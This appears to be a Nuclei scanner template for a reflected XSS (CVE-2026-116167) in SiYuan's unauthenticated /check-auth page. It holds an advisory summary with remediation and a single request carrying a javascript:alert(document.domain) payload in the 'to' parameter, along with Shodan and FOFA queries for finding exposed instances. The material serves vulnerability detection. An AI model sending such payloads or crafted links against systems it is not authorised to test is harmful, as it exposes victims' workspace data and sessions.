SiYuan 2.9.0 through 3.8.6 serves the unauthenticated /check-auth authorization page (app/stage/auth.html) with a script that assigns the `to` query parameter to window.location.href without scheme validation. A crafted link whose `to` value is a javascript: URI executes script in the kernel origin once the victim completes authentication on that page.
id: CVE-2026-116167
info:
name: SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth "to" Parameter
author: kosoyyagent
severity: high
description: |
SiYuan 2.9.0 through 3.8.6 serves the unauthenticated /check-auth authorization page (app/stage/auth.html) with a script that assigns the `to` query parameter to window.location.href without scheme validation. A crafted link whose `to` value is a javascript: URI executes script in the kernel origin once the victim completes authentication on that page.
impact: |
Script executes in the authenticated kernel origin and can invoke same-origin kernel APIs to read or modify workspace content and settings with the victim's session.
remediation: |
Update to SiYuan 3.8.7 or later, which routes the `to` value through safeRedirectTarget and only allows same-origin destinations.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmj3-xc2f-6w4w
- https://www.vulncheck.com/advisories/siyuan-2.9.0-before-3.8.7-xss-via-check-auth-to-parameter
- https://nvd.nist.gov/vuln/detail/CVE-2026-116167
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
cvss-score: 7.6
cve-id: CVE-2026-116167
epss-score: 0.00656
epss-percentile: 0.51675
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: siyuan-note
product: siyuan
shodan-query: 'http.html:"siyuan"'
fofa-query: 'body="siyuan"'
tags: cve,cve2026,siyuan,xss,unauth
http:
- raw:
- |
GET /check-auth?to=javascript:alert(document.domain) HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(to_lower(body), "siyuan")'
- 'contains(body, "searchParams.get(\"to\")")'
- 'contains(body, "location.href = url.searchParams.get") || contains(body, "location.href = toPath")'
- '!contains(body, "safeRedirectTarget")'
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402200b01f816d65baf74b91f85789653d680bd9d968685268f090c299205c9cdfd0802204fa85b79c84c002afa3042de93d061005ebd17ac564ba27cecf7b9d61ff81bd7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.